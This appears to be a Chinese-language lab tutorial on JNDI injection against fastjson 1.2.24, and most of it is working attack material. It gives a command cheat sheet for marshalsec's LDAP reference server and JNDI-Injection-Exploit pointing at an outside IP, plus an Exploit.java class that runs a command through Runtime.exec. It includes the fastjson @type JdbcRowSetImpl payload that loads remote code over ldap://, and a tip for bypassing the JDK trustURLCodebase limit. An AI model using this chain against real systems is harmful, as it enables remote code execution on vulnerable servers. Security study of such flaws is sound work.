JNDI注入流程
命令快查
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://47.97.123.81:8000/#Exploit 11452
python3 -m http.server 8000
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A 47.97.123.81
版本限制
LDAP限制
Oracle JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase
属性的默认值被调整为false,还对应的分配了一个漏洞编号CVE-2018-3149
RMI限制
JDK JDK 8u113、JDK 7u122、6u132 中com.sun.jndi.rmi.object.trustURLCodebase
com.sun.jndi.cosnaming.object.trustURLCodebase
的默认值变为false
所以说看起来LDAP的限制更小,因此常用LDAP。
环境搭建
首先环境搭建,选择fastjson1.2.24有JNDI漏洞的版本。
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.rowset.JdbcRowSetImpl;
public class Unser {
public static void main(String[] args){
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\", \"autoCommit\":true}";
JSON.parse(payload);
}
}
然后我们搭建JNDIServer,一般选用项目https://github.com/mbechler/marshalsec
攻击
https://github.com/mbechler/marshalsec
首先准备好上面链接中的项目。
然后编译Exploit.java
public class Exploit{
public Exploit(){
try{
Runtime.getRuntime().exec("calc");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}
javac Exploit.java
在11452端口提供ldap服务java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://47.97.123.81:8000/#Exploit 11452
然后在Exploit.class路径提供http服务python3 -m http.server 8000
然后运行java代码,触发JNDI漏洞
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.rowset.JdbcRowSetImpl;
public class Unser {
public static void main(String[] args){
// ParserConfig.getGlobalInstance().setAutoTypeSupport(true); //可开启autotype
// System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true"); //可绕过jdk版本限制
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://47.97.123.81:11452/Exploit\", \"autoCommit\":true}";
JSON.parse(payload);
}
}
这时计算器弹出来了。